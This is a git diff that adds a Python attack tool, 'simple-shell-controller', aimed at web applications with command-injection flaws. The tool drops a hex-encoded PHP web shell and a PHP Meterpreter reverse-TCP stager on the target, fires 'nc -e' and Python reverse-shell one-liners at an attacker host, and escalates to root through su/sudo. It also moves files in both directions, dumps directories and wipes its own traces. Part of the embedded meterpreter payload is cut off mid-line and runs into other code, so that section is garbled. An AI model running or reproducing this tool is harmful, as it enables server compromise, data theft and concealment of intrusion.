diff --git a/simple-shell-controller.py b/simple-shell-controller.py new file mode 100644 index 0000000..85b47ac --- /dev/null +++ b/simple-shell-controller.py @@ -0,0 +1,856 @@ +#!/usr/bin/env python + +### TODO :: Add proxy support +### TODO :: Add windows supprt and envornment recognition (maybe a translator for linux-to-windows commands) +### TODO :: Add encryption/decryption of payloads + +import os, sys, getopt, urllib, urllib2, re, socket, threading, time, binascii, hashlib, math, random, string, json, base64 + +_gs = { + "_stager": "cmd", + "_var_exec": "SMPLSHLL_EXEC", + "_var_eval": "SMPLSHLL_EVAL", + + "url": "", + "post": None, + "get": None, + "cookies": None, + + "chunk_size": 64, ## The heigher, the better upload/download speed, but too heigh can make the requests to big. + "initial_path": "", + "shell_path": "", + "working_directory": "", +} + +_payloads = { + + "stager": [ + "_.php", + "3c3f7068702069662028697373657428245f4745545b22636d64225d2929207b206563686f207368656c6c5f6578656328245f4745545b22636d64225d293b206469653b207d203f3e" + ], + + "smplshll": [ + "_.php", + "3c3f7068702066756e6374696f6e2068657832737472282468657829207b20666f722824693d303b24693c7374726c656e2824686578293b24692b3d3229207b2024737472202e3d20636872286865786465632873756273747228246865782c24692c322929293b207d2072657475726e20247374723b207d2069662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f4556414c225d2929207b206576616c286865783273747228245f5345525645525b22485454505f534d504c53484c4c5f4556414c225d29293b206469653b207d2069662028697373657428245f5345525645525b22485454505f534d504c53484c4c5f45584543225d2929207b206563686f207368656c6c5f65786563286865783273747228245f5345525645525b22485454505f534d504c53484c4c5f45584543225d29293b206469653b207d3f3e" + ], + + "php_meterpreter_reverse_tcp": [ + "_.php", + "3c3f706870206572726f725f7265706f7274696e672830293b20246970203d2022{0}223b2024706f7274203d20{1}3b2069662028282466203d202273747265616d5f736f636b65745f636c69656e7422292026262069735f63616c6c61626c652824662929207b202473203d20246628227463703a2f2f7b2469707d3a7b24706f72747d22293b2024735f74797065203d202273747265616d223b207d20656c736569662028282466203d202266736f636b6f70656e22292026262069735f63616c6c61626c652824662929207b202473203d202466282469702c2024706f7274293b2024735f74797065203d202273747265616d223b207d20656c736569662028282466203d2022736f636b65745f63726561746522292026262069735f63616c6c61626c652824662929207b202473203d2024662841465f494e45542c20534f434b5f53545245414d2c20534f4c5f544350293b2024726573203d2040736f636b65745f636f6e6e6563742824732c202469702c2024706f7274293b2069662028212472657329207b2064696528293b207d2024735f74797065203d2022736f636b6574223b207d20656c7365207b2064696528226e6f20736f636b65742066756e637322293b207d206966202821247329207b2064696528226e6f20736f636b657422293b207d20737769746368202824735f7479706529207b2063617365202273747265616d223a20246c656e203d2066726561642824732c2034293b20627265616b3b20636173652022736f636b6574223a20246c656e203d20736f636b65745f726561642824732c2034293b20627265616b3b207d206966202821246c656e29207b2064696528293b207d202461203d20756e7061636b28224e6c656e222c20246c656e293b20246c656e203d2024615b226c656e225d3b202462203d2022223b207768696c6520287374726c656e28246229203c20246c656e29207b20737769746368202824735f7479706529207b2063617365202273747265616d223a202462202e3d2066726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b20636173652022736f636b6574223a202462202e3d20736f636b65745f726561642824732c20246c656e2d7374726c656e28246229293b20627265616b3b207d207d2024474c4f42414c535b226d7367736f636b225d203d2024733b2024474c4f42414c535b226d7367736f636b5f74797065225d203d2024735f747970653b206576616c282462293b2064696528293b3f3e", + ], +} + +help_notes = """ + Simple Shell (Controller) 0.1 + ----------------------------- + Created by: z0noxz + https://github.com/z0noxz/smplshllctrlr + + Usage: (python) simple-shell-controller.py [options] + + Options: + --help Show this help message and exit + --url Shell interface URL without paramters (e.g. "http://www.site.com/simple-shell.php") + + --post Declare POST data (eg. "{'submit':'','ip':_INJECT_}") + --get Declare GET data (eg. "?ip=_INJECT_") + --cookies Declare COOKIE data (eg. "PHPSESSID=deadbeefdeadbeefdeadbeefdeadbeef") + + Shell commands: + Commands that are executable while in shell interface + + meterpreter Injects a PHP Meterpreter, PHP Reverse TCP Stager (requires a listener for php/meterpreter/reverse_tcp) + upload Upload a file + download Download a file + kill_self Cleans up traces and aborts the shell + exit Exits the shell +""" +def _exploit(): + global _gs, _payloads + + _gs["url_stager"] = None + _placeholder = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32)) + + def technique_basic_post(): + sys.stdout.write(" Testing basic injection.......................................") + sys.stdout.flush() + + for special in ["&", ";", "|", "|", "localhost &&", "localhost &;&"]: + + validator = special + " echo " + _placeholder + + if not _gs["post"] == None: + request = urllib2.Request(_gs["url"] + (_gs["get"] if not _gs["get"] == None else ""), urllib.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + validator + "\"")))) + else: + request = urllib2.Request(_gs["url"] + (_gs["get"] if not _gs["get"] == None else "")) + + if not _gs["cookies"] == None: + request.add_header("cookie", _gs["cookies"]) + + response = urllib2.urlopen(request).read() + + if _placeholder in response: + print("[\033[92mOK\033[0m]") + sys.stdout.write("\n Uploading stager..............................................") + sys.stdout.flush() + + chunk = "\\x" + "\\x".join([_payloads["stager"][1][i:i + 2] for i in range(0, len(_payloads["stager"][1]), 2)]) + injection = special + " echo -n -e '" + chunk.replace("\\", "\\\\") + "' >> " + _payloads["stager"][0] + + if not _gs["post"] == None: + request = urllib2.Request(_gs["url"] + (_gs["get"] if not _gs["get"] == None else ""), urllib.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + injection + "\"")))) + else: + request = urllib2.Request(_gs["url"] + (_gs["get"] if not _gs["get"] == None else "")) + + if not _gs["cookies"] == None: + request.add_header("cookie", _gs["cookies"]) + + urllib2.urlopen(request) + _gs["url_stager"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _payloads["stager"][0] + + print("[\033[92mOK\033[0m]") + return True + + print(".[\033[91mX\033[0m]") + return False + + ## Queue techniques + techniques = [ + technique_basic_post, + ] + + print("") + print(" Test injection techniques") + print("") + + for technique in techniques: + if technique() and not _gs["url_stager"] == None: + stager_upload(_gs["url_stager"], _payloads["smplshll"][1], _payloads["smplshll"][0]) + _gs["url_exec"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _payloads["smplshll"][0] + _gs["url"] = _gs["url_exec"] + + sys.stdout.write(" Removing stager...............................................") + sys.stdout.flush() + execute_command("rm " + _payloads["stager"][0], False) + print("[\033[92mOK\033[0m]") + return + + print "\n \033[91mSystem could not be exploited\033[0m" + sys.exit(2) + +def _init(): + global _gs, _payloads + + import subprocess as sp + sp.call("clear",shell=True) + + for key in _payloads.keys(): + _payloads[key][0] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32)) + ".php" + + _exploit() + +def _exit(): + + confirm = raw_input(" Run 'Kill Self Protocol' (Y/n)? ") + + if (not confirm == "n" or not confirm == "no"): + kill_self() + sys.exit + +def _command(url, header, cmd, verbose): + global _gs + + request = urllib2.Request(url) + request.add_header(header, binascii.hexlify(cmd)) + + output = urllib2.urlopen(request).read() + if (verbose): print output + return output + +def execute_command(cmd, verbose = True): + global _gs + return _command(_gs["url_exec"], _gs["_var_exec"], cmd, verbose) + +def eval_command(cmd, verbose = True): + global _gs + return _command(_gs["url_exec"], _gs["_var_eval"], cmd, verbose) + +def split(str, num): + return [ str[start:start+num] for start in range(0, len(str), num) ] + +def check_working_directory(working_directory, new_directory): + + new_directory = new_directory if not new_directory == "" else working_directory + + if (re.match("^(/[^/ ]*)+/?$", new_directory)): + if (execute_command("if test -d " + new_directory + "; then \"1\"; fi", False) == ""): + return new_directory + + return working_directory + +def php_variables(): + eval_command("print_r(get_defined_vars());") + +def php_eval(): + global _gs + + print("") + print(" PHP Evaluator:") + print(" ------------------------------------------------------------------") + print(" This program evaluats PHP code") + print("") + + eval_command(raw_input(" PHP Code: ")) + +def inject_shell(): + global _gs, _payloads + + print "" + lhost = raw_input(" LHOST: ") + print "" + + def send(connection, _input): + + connection.send(_input + "\r") + time.sleep(0.5) + result = connection.recv(16834).split("\n") + + return "\n".join(result[1:-1]).strip() + + def socketBind(lhost = "", lport = 0, retries = 5): + + try: + _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + _socket.bind((lhost, lport)) + _socket.listen(1) + print " \033[92m[+]\033[0m Socket listening on port {0}".format(_socket.getsockname()[1]) + return _socket + + except socket.error as err: + print " \033[91m[-]\033[0m Socket binding error: " + str(err[0]) + + if retries > 0: + print " \033[94m[*]\033[0m Retrying {0}...".format(retries) + return socketBind(lhost, lport, retries - 1) + + return None + + def sendPayload(lhost, lport): + payloads = [ + "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{0}\",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", + "nc -e /bin/sh {0} {1}", + "/bin/nc.traditional -e /bin/sh {0} {1}", + ] + + time.sleep(1) + for payload in payloads: + pid = execute_command(payload.format(lhost, lport) + " & echo $!", False).strip() + if execute_command("ps --pid " + pid + " -o comm=", False) <> "": + break + + def socketAccept(_socket): + + if _socket == None: return + + def spawnTerminal(connection): + spawners = [ + "python -c 'import pty; pty.spawn(\"/bin/sh\")'", + "/bin/sh -i", + "perl -e 'exec \"/bin/sh\";'", + ##"perl: exec \"/bin/sh\";", + ##"ruby: exec \"/bin/sh\"", + ##"lua: os.execute('/bin/sh')" + ] + + print " \033[94m[*]\033[0m Trying to spawn tty" + for spawner in spawners: + + ## Try to spawn tty + send(connection, spawner) + + ## Check for success + if (send(connection, "echo $?") == "0"): + print " \033[92m[+]\033[0m Successfully spawned tty" + return True + + print " \033[91m[-]\033[0m Failed to spawn any tty" + return False + + def sessionInteract(connection, address, is_tty): + + def command_cred_root(connection, address, is_tty, match): + if match: + if not is_tty: + print " \033[91m[-]\033[0m This command needs tty" + else: + print " \033[94m[*]\033[0m Trying to spawn " + match.group(1) + + result = None + + send(connection, "su " + match.group(1)) + send(connection, match.group(2)) + + if send(connection, "whoami") == match.group(1): + print " \033[92m[+]\033[0m Successfully spawned " + match.group(1) + print " \033[94m[*]\033[0m Trying to spawn root" + send(connection, "sudo -i") + send(connection, match.group(2)) + send(connection, "") + else: + print " \033[91m[-]\033[0m Failed to spawn " + match.group(1) + + if send(connection, "whoami") == "root": + print " \033[92m[+]\033[0m Successfully spawned root" + else: + print " \033[91m[-]\033[0m Failed to spawn root" + else: + print " usage: cred_root " + + def command_meterpreter(connection, address, is_tty, match): + if match: + print " \033[94m[*]\033[0m Trying to spawn meterpreter shell" + payload = base64.b64encode("""import socket,struct +s=socket.socket(2,socket.SOCK_STREAM) +s.connect(('""" + match.group(1) + """',""" + match.group(2) + """)) +l=struct.unpack('>I',s.recv(4))[0] +d=s.recv(l) +while len(d) " + + commands = { + "cred_root": { + "description": "Tries to spawn a root shell from credentials", + "validation": "cred_root\s+([^\s]+)\s+([^\s]+)", + "run" : command_cred_root + }, + "meterpreter": { + "description": "Injects a python/meterpreter/reverse_tcp payload", + "validation": "meterpreter\s+([^\s]+)\s+([^\s]+)", + "run": command_meterpreter, + } + } + + print "" + while True: + _input = raw_input("\033[4mShell\033[0m" + (" (\033[91mtty\033[0m)" if is_tty else "") + " > ") + _input_command = _input.split(" ")[0] + + if _input_command == "exit": + connection.close() + break + + if _input_command == "?": + max_key = max(map(len, commands)) + max_des = max([len(commands[x]["description"]) for x in commands.keys()]) + + print " " + (" " * (max_key + max_des - 7)) + "COMMANDS" + print " " + ("=" * (max_key + max_des + 1)) + print " " + "command" + (" " * (max_key - 6)) + "description" + print " " + ("-" * max_key) + " " + ("-" * max_des) + + for command in commands.keys(): + print " " + command + (" " * (max_key - len(command) + 1)) + commands[command]["description"] + print " exit" + (" " * (max_key - 3)) + "Abort shell" + print "" + continue + + ## Check if command + if _input_command in commands.keys(): + commands[_input_command]["run"](connection, address, is_tty, re.compile(commands[_input_command]["validation"]).match(_input)) + else: + print send(connection, _input) + print "" + + try: + connection, address = _socket.accept() + time.sleep(0.2) # Wait + connection.recv(16834) # Clear buffer + print " \033[92m[+]\033[0m Session opened from {0}:{1}".format(address[0], address[1]) + sessionInteract(connection, address, spawnTerminal(connection)) + + except socket.error as err: + print " \033[91m[-]\033[0m Socket accepting error: " + str(err[0]) + finally: + _socket.close() + + ## Execute shell + _socket = socketBind() + threading.Thread(target=sendPayload, args=(lhost, _socket.getsockname()[1])).start() + socketAccept(_socket) + + ''' + shells = { + "netcat": "nc -e /bin/sh {0} {1}", + "netcat-traditional": "/bin/nc.traditional -e /bin/sh {0} {1}", + "python": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{0}\",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", + } + + + + + lhost = raw_input(" LHOST: ") + lport = raw_input(" LPORT: ") + shell = None + + while (not shell in shells.keys()): + shell = raw_input(" SHELL(" + ", ".join(sorted(shells.keys())) + "): ") + + sys.stdout.write("\n Initializing..................................................") + sys.stdout.flush() + print("[\033[92mOK\033[0m]") + #re.sub("<[^>]*>", "", urllib2.urlopen(_gs["url"][:_gs["url"].rfind("/")] + "/" + payload[0], "", 1).read()).strip()# + sys.stdout.write(" Executing shell...............................................") + sys.stdout.flush() + pid = execute_command(shells[shell].format(lhost, lport) + " & echo $!", False).strip() + print("[\033[92mOK\033[0m]" if not execute_command("ps --pid " + pid + " -o comm=", False) == "" else ".[\033[91mX\033[0m]") + ''' + ''' + TODO :: + invoke the process with its stdin coming from something that IS a pipe (or socket etc) so that you can write stuff into it. + A named pipe MAY work here (see mknod(1) or mkfifo(3) ). + Otherwise, you'll need a control program which sits in front of it and uses a pair of pipes to talk to it. + + Try to automate the Tips section to get a root terminal + + using pid + ''' + + + + ## inject this : python -c 'import pty; pty.spawn("/bin/sh")' +def inject_meterpreter_shell(): + global _gs, _payloads + + print("") + print(" PHP Meterpreter Injection:") + print(" ------------------------------------------------------------------") + print(" This program injects a PHP Meterpreter Reverse TCP Stager to the") + print(" target server. \033[93mRemember to initialize a reverse TCP handler before") + print(" executing this program.\033[0m The listener payload should be:") + print("") + print(" \033[94mphp/meterpreter/reverse_tcp\033[0m") + print("") + + lhost = "".join("{:02x}".format(ord(c)) for c in raw_input(" LHOST: ")) + lport = "".join("{:02x}".format(ord(c)) for c in raw_input(" LPORT: ")) + + sys.stdout.write("\n Initializing..................................................") + sys.stdout.flush() + print("[\033[92mOK\033[0m]") + + ## Define payload + payload = _payloads["php_meterpreter_reverse_tcp"] + sys.stdout.write(" Preparing payload " + payload[0] + " " + ("." * (43 - len(payload[0])))) + sys.stdout.flush() + print("[\033[92mOK\033[0m]") + + ## Remove payload if it allready exists + sys.stdout.write(" Removing previous payload, if one exists......................") + sys.stdout.flush() + execute_command("rm " + payload[0], False) + print("[\033[92mOK\033[0m]") + + ## Allocate filename + sys.stdout.write(" Allocating filename...........................................") + sys.stdout.flush() + execute_command("touch " + payload[0], False) + print("[\033[92mOK\033[0m]") + + ## Upload meterpreter payload + stream_upload(payload[1].format(lhost, lport), payload[0]) + + ## Execute meterpreter shell + sys.stdout.write(" Executing shell...............................................") + sys.stdout.flush() + + try: + err = re.sub("<[^>]*>", "", urllib2.urlopen(_gs["url"][:_gs["url"].rfind("/")] + "/" + payload[0], "", 1).read()).strip() + if not err == "": print(".[\033[91mX\033[0m]\n\n \033[91mError: " + err + "\033[0m") + + ## If the urlopen times out, it means (or could mean) that the payload is executed + except urllib2.URLError, e: + if isinstance(e.reason, socket.timeout): + print("[\033[92mOK\033[0m]") + except socket.timeout, e: + print("[\033[92mOK\033[0m]") + +def stager_upload(url, stream, path): + global _gs + + counter = 1 + step = 1 + chunk_size = _gs["chunk_size"] + progress_width = 64 - 8 - 4 + file_size = len(stream) / 2 + chunk_count = math.ceil(file_size / chunk_size) + + ## Setup progress bar + sys.stdout.write(" Sending stage") + sys.stdout.flush() + + try: + while True: + chunk = stream[(chunk_size * 2 * (counter - 1)):][:chunk_size * 2] + + if chunk: + chunk = "\\x" + "\\x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)]) + cmd = "echo -n -e '" + chunk + "' >> " + path + + urllib2.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.quote_plus(cmd) if not cmd == None else "")).read() + + if (((chunk_count / progress_width) > 0) and (counter / (chunk_count / progress_width)) > step): + sys.stdout.write(".") + sys.stdout.flush() + step += 1 + counter += 1 + else: + break + + sys.stdout.write("\b" * (step - 1)) + sys.stdout.flush() + sys.stdout.write(("." * (progress_width - 3))) + print("[\033[92mOK\033[0m]") + + except: + print(".[\033[91mX\033[0m]") + +def stream_upload(stream, path, verbose = True): + counter = 1 + step = 1 + chunk_size = _gs["chunk_size"] + progress_width = 64 - 8 + file_size = len(stream) / 2 + chunk_count = math.ceil(file_size / chunk_size) + + ## Setup progress bar + if verbose: + sys.stdout.write(" Uploading") + sys.stdout.flush() + + try: + while True: + chunk = stream[(chunk_size * 2 * (counter - 1)):][:chunk_size * 2] + + if chunk: + chunk = "\\x" + "\\x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)]) + execute_command("echo -n -e '" + chunk + "' >> " + path, False) + + if (((chunk_count / progress_width) > 0) and (counter / (chunk_count / progress_width)) > step): + if verbose: + sys.stdout.write(".") + sys.stdout.flush() + step += 1 + counter += 1 + else: + break + + if verbose: + sys.stdout.write("\b" * (step - 1)) + sys.stdout.flush() + sys.stdout.write(("." * (progress_width - 3))) + print("[\033[92mOK\033[0m]") + except: + if verbose: + print(".[\033[91mX\033[0m]") + + +def file_upload(): + global _gs + + print("") + print(" File Uploader:") + print(" ------------------------------------------------------------------") + print(" This program simply uploads a file to the target server") + print("") + + lpath = raw_input(" Local path: ") + file_name = lpath[lpath.rfind("/") + 1:] + + sys.stdout.write("\n Initializing..................................................") + sys.stdout.flush() + print("[\033[92mOK\033[0m]") + + try: + with open(lpath, "rb") as f: + + counter = 1 + step = 1 + chunk_size = _gs["chunk_size"] + progress_width = 64 - 8 + file_size = os.path.getsize(lpath) + chunk_count = math.ceil(file_size / chunk_size) + local_hash_md5 = hashlib.md5() + + ## Setup progress bar + sys.stdout.write(" Uploading") + sys.stdout.flush() + + execute_command("cd " + _gs["working_directory"] + " && rm " + file_name, False) + execute_command("cd " + _gs["working_directory"] + " && touch " + file_name, False) + + while True: + chunk = f.read(chunk_size) + local_hash_md5.update(chunk) + + if chunk: + chunk = binascii.hexlify(chunk) + chunk = "\\x" + "\\x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)]) + + execute_command("cd " + _gs["working_directory"] + " && echo -n -e '" + chunk + "' >> " + file_name, False) + + if ((counter / (chunk_count / progress_width)) > step): + sys.stdout.write(".") + sys.stdout.flush() + step += 1 + counter += 1 + else: + break + + sys.stdout.write("\b" * (step - 1)) + sys.stdout.flush() + sys.stdout.write(("." * (progress_width - 3))) + print("[\033[92mOK\033[0m]") + + sys.stdout.write(" Analysing file integrity......................................") + sys.stdout.flush() + print("[\033[92mOK\033[0m]" if (str(execute_command("cd " + _gs["working_directory"] + " && md5sum " + file_name + " | awk '{ print $1 }'", False)).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]") + except: + print("\n \033[91mError: cannot open '" + file_name + "'\033[0m") + +def file_download(path = None): + global _gs + + if (path == None): + print("") + print(" File Downloader:") + print(" ------------------------------------------------------------------") + print(" This program simply downloads a file from the target server") + print("\n") + + rpath = (path if not path == None else raw_input(" Remote path: ")) + file_name = rpath[rpath.rfind("/") + 1:] + + sys.stdout.write(" Initializing..................................................") + sys.stdout.flush() + print("[\033[92mOK\033[0m]") + + try: + counter = 1 + step = 1 + chunk_size = _gs["chunk_size"] + progress_width = 64 - 10 + file_size = int(execute_command("cd " + _gs["working_directory"] + " && stat -c%s " + rpath, False)) + chunk_count = math.ceil(file_size / chunk_size) + local_hash_md5 = hashlib.md5() + + ## Setup progress bar + sys.stdout.write(" Downloading") + sys.stdout.flush() + + try: os.remove(file_name) + except OSError: pass + + while True: + chunk = execute_command("cd " + _gs["working_directory"] + " && hexdump -ve '1/1 \"%.2x\"' " + rpath + " -n " + str(chunk_size) + " -s " + str(chunk_size * (counter - 1)), False) + + if (not chunk == ""): + with open(file_name, "ab") as f: + f.write(binascii.unhexlify(chunk)) + + if ((counter / (chunk_count / progress_width)) > step): + sys.stdout.write(".") + sys.stdout.flush() + step += 1 + counter += 1 + else: + break + + sys.stdout.write("\b" * (step - 1)) + sys.stdout.flush() + sys.stdout.write(("." * (progress_width - 3))) + print("[\033[92mOK\033[0m]") + + sys.stdout.write(" Analysing file integrity......................................") + sys.stdout.flush() + + local_hash_md5 = hashlib.md5() + with open(file_name, "rb") as f: + local_hash_md5.update(f.read()) + + print("[\033[92mOK\033[0m]" if (str(execute_command("cd " + _gs["working_directory"] + " && md5sum " + rpath + " | awk '{ print $1 }'", False)).strip() == str(local_hash_md5.hexdigest()).strip()) else ".[\033[91mX\033[0m]") + + except: + print("\n \033[91mError: cannot download file'" + file_name + "'\033[0m") + +def dir_dump(): + global _gs + + for _file in execute_command("ls " + _gs["working_directory"], None).strip().split("\n"): + print("\n \033[94mDownload file: '" + _file + "'\033[0m") + print(" ------------------------------------------------------------------") + file_download(_gs["working_directory"] + "/" + _file) + +def kill_self(): + global _gs, _payloads + + print("") + print(" Kill Self Protocol:") + print(" ------------------------------------------------------------------") + print(" This program cleans up traces and aborts the shell") + print("") + + ## Remove payloads + sys.stdout.write(" Removing payloads.............................................") + for _payload in _payloads.keys(): + if not _payload == "smplshll": + execute_command("rm " + _gs["initial_path"] + "/" + _payloads[_payload][0], False) + print("[\033[92mOK\033[0m]") + + ## Remove self + sys.stdout.write(" Removing initial shell........................................") + execute_command("rm " + _gs["initial_path"] + "/" + _payloads["smplshll"][0], False) + print("[\033[92mOK\033[0m]") + + ## Shutting down + print(" Shutting down...") + sys.exit() + +def main(argv): + global _gs, help_notes + + try: + opts, args = getopt.getopt(argv, "", + [ + "help", + "url=", + "post=", + "get=", + "cookies=", + ]) + except getopt.GetoptError, err: + print help_notes + print err + sys.exit(2) + for opt, arg in opts: + if opt in ("--help"): + print help_notes + sys.exit() + elif opt in ("--url"): _gs["url"] = arg + elif opt in ("--post"): _gs["post"] = arg + elif opt in ("--get"): _gs["get"] = arg + elif opt in ("--cookies"): _gs["cookies"] = arg + + if (not _gs["url"] == ""): + + try: + urllib2.urlopen(_gs["url"]).read() + except urllib2.URLError, e: + print "\n \033[91mCannot access the interface\033[0m" + sys.exit(2) + + ## Initialize backdoor + _init() + + ## Set initial global settings + _gs["working_directory"] = execute_command("pwd", False).strip() + _gs["initial_path"] = _gs["working_directory"] + _gs["shell_path"] = _gs["initial_path"] + _gs["url"][_gs["url"].rfind("/"):] + + def _command(x = None): + cmds = { + "php_var": [ + php_variables, + "Prints the php variables" + ], + "php_eval": [ + php_eval, + "Evaluats php code" + ], + "shell": [ + inject_shell, + "test_shell" + ], + "meterpreter": [ + inject_meterpreter_shell, + "Injects a meterpreter shell" + ], + "upload": [ + file_upload, + "Uploads a file" + ], + "download": [ + file_download, + "Downloads a file" + ], + "dir_dump": [ + dir_dump, + "Downloads the current directory content" + ], + "kill_self": [ + kill_self, + "Cleans up traces and aborts the shell" + ], + "exit": [ + _exit, + "Exits the shell" + ], + "?": [ + _command, + "Shows command help" + ] + } + + if (not x == None): + fnc = cmds.get(x, None) + if (not fnc == None): + fnc[0]() + return True + else: + return False + else: + print "" + print " Core Commands " + print " ==================================================================" + print " Command Description" + print " ------------------- ----------------------------------------------" + for cmd in sorted(cmds.keys()): + print " " + cmd + (" " * (20 - len(cmd))) + cmds[cmd][1] + return True + + print r" ____ ____ ___ " + print r" / ___)/ ___) / __)" + print r" \___ \\___ \( (__ " + print r" (____/(____/ \___) Simple Shell (Controller) 0.1" + print "" + print " Shell : " + _gs["shell_path"] + print " Id : " + execute_command("id", False).strip() + print " Sudo : " + ("\033[92mAccess granted\033[0m" if execute_command("timeout 2 sudo id && echo 1 || echo 0", False) == "1" else "\033[91mAccess denied\033[0m") + print " Help : ?" + print "" + + while (True): + #user_input = raw_input("ssc [\033[94m" + _gs["working_directory"] + "\033[0m] > ").strip() + user_input = raw_input("\033[4mssc\033[0m > ").strip() + + if (not _command(user_input)): + output = execute_command("cd " + _gs["working_directory"] + " && " + user_input + " && printf \"\n\" && pwd", False).strip().split("\n") + _gs["working_directory"] = check_working_directory(_gs["working_directory"], output[len(output) - 1]) + print " " + "\n ".join((output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1])) + else: + print "" + +if __name__ == "__main__": main(sys.argv[1:])